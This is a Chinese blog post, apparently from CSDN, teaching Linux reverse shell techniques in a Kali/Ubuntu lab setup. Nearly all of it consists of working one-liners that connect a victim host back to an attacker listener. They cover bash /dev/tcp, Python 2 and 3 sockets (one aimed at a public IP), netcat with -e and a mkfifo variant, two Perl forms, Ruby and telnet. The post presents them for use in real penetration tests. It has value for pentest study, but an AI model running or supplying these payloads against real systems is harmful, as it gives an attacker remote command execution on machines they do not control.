• 带你了解LINUX反弹Shell的各种姿势(超详细)


    简介

    LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务端的角色反转

    本篇文章介绍LINUX反弹Shell的多种姿势, 在真实的渗透环境中, 根据客户端存在哪些命令的实际情况, 来采取相应的反弹shell姿势


    实验环境

    操作系统IP地址
    Kali Linux(服务端)192.168.47.155
    Ununtu Linux(客户端)192.168.47.151

    服务端监听端口

    服务端kali监听端口

    nc -lvp 4444
    
    • 1

    image-20221126161342759


    客户端反弹shell

    1.bash反弹

    bash -i >& /dev/tcp/192.168.47.155/4444 0>&1
    
    • 1
    • bash -i 表示在本地打开一个交互式BashSehll
    • /dev/tcp是Linux一个特殊设备, 打开该文件相当于建立socket连接, 读写该文件相当于在socket连接中传输数据
    • 0>&1将标准输入重定向至标准输出

    bash -i >& /dev/tcp/192.168.47.155/4444表示将bash的标准输出和标准错误输出发送给远程服务器的4444端口。我们只要客户端主机输入命令, 命令执行的结果以及错误提示都会发送给远程服务器

    image-20221126173912240

    image-20221126173930758


    2.python反弹

    python3

    python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    • 1

    image-20221126215634494

    image-20221126215649332


    python2

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.47.155",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    • 1

    image-20221126222452893

    image-20221126222459319


    3.nc反弹shell

    nc 192.168.47.155 4444 -e /bin/bash
    
    • 1

    -e后面接的参数表示在创建连接后执行的程序

    image-20221126220706747

    image-20221126220642719


    有些老版本的nc不支持-e参数, 可使用如下命令进行反弹

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.47.155 4444 >/tmp/f
    
    • 1

    image-20221126221325835

    image-20221126221348830


    4.perl反弹

    依赖/bin/sh

    perl -e 'use Socket;$i="192.168.47.155";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    • 1

    image-20221126221711114

    image-20221126222013052


    不依赖/bin/sh

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.47.155:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    
    • 1

    image-20221126222110406

    image-20221126222126949


    5.ruby反弹

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.47.155","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    
    • 1

    image-20221126232240240

    image-20221126232254038


    6.telnet反弹

    mknod backpipe p && telnet 192.168.47.155 4444 0backpipe
    
    • 1

    image-20221127001032000

    image-20221127001043908

  • 相关阅读:
    使用Dataset 和DataLoader 加载数据集
    [LeetCode 1774]最接近目标价格的甜点成本
    1.(5)数据结构之链表的插入和删除结点(有图有程序有注释)
    Docker in Docker原理与实战
    LeetCode-2485-找出中枢整数
    React fiber分片的理解和剖析
    拷贝控制操作
    AWS无服务器 应用程序开发—第九章 文件存储(Amazon S3)
    走进常熟东南相互电子,看AI如何深入产业让工厂更智能
    领航杯2022年-Crypto-rsa
  • 原文地址:https://blog.csdn.net/xf555er/article/details/128061311